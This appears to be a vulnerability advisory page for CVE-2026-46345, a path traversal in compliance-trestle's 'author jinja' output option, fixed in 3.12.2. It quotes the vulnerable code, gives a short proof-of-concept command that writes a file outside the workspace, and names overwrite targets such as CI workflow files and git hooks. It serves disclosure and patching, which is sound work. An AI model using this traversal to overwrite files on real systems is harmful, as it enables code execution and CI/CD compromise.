compliance-trestle - jinja has an Arbitrary File Write via Path Traversal
Relevant Products/Components:
trestle/core/commands/author/jinja.pytrestle author jinjaThe -o/--output argument in trestle author jinja allows writing files outside the intended workspace.
The application does not properly validate:
../..\This allows arbitrary file write to attacker-controlled locations.
Vulnerable code:
```python
output_file = trestle_root / r_output_file
```
An attacker can overwrite files such as:
.github/workflows/*.yml.git/hooks/*This can lead to CI/CD compromise or local code execution.
1. Clone the repository:
```bash
git clone https://github.com/oscal-compass/compliance-trestle.git
cd compliance-trestle
```
2. Create template:
```bash
echo "hello" > template.j2
```
3. Run:
```powershell
trestle author jinja -i template.j2 -o "subdir\..\..\..\..\..\poc.txt"
```
4. Observe:
```powershell
dir E:\poc.txt
```
The file is written outside the repository workspace.
Not browser related.
Tested on:
Affected file:
```text
trestle/core/commands/author/jinja.py
```
Successfully verified:
../..\Local
Yes
Trivial.
Single command execution.
No
Runs with privileges of the user executing the trestle command.
An attacker can write files outside the intended workspace directory and overwrite sensitive files writable by the current user.
Possible impacts include:
.github/workflows/*.yml to execute attacker-controlled GitHub Actions workflows.git/hooks/* for local code execution.bashrcIn CI/CD environments, this may result in execution of attacker-controlled commands on build runners.
This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-46345 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
CVE-2026-46345 is recorded against 2 packages.
Published on 28 May 2026 and last revised on 17 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
compliance-trestle has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:
Details
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| compliance-trestle | — | 3.12.2 |
| unknown | — | — |
Similar Threats
Site Security Check
CVE-2026-46345 is rated CVSS 8.4 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.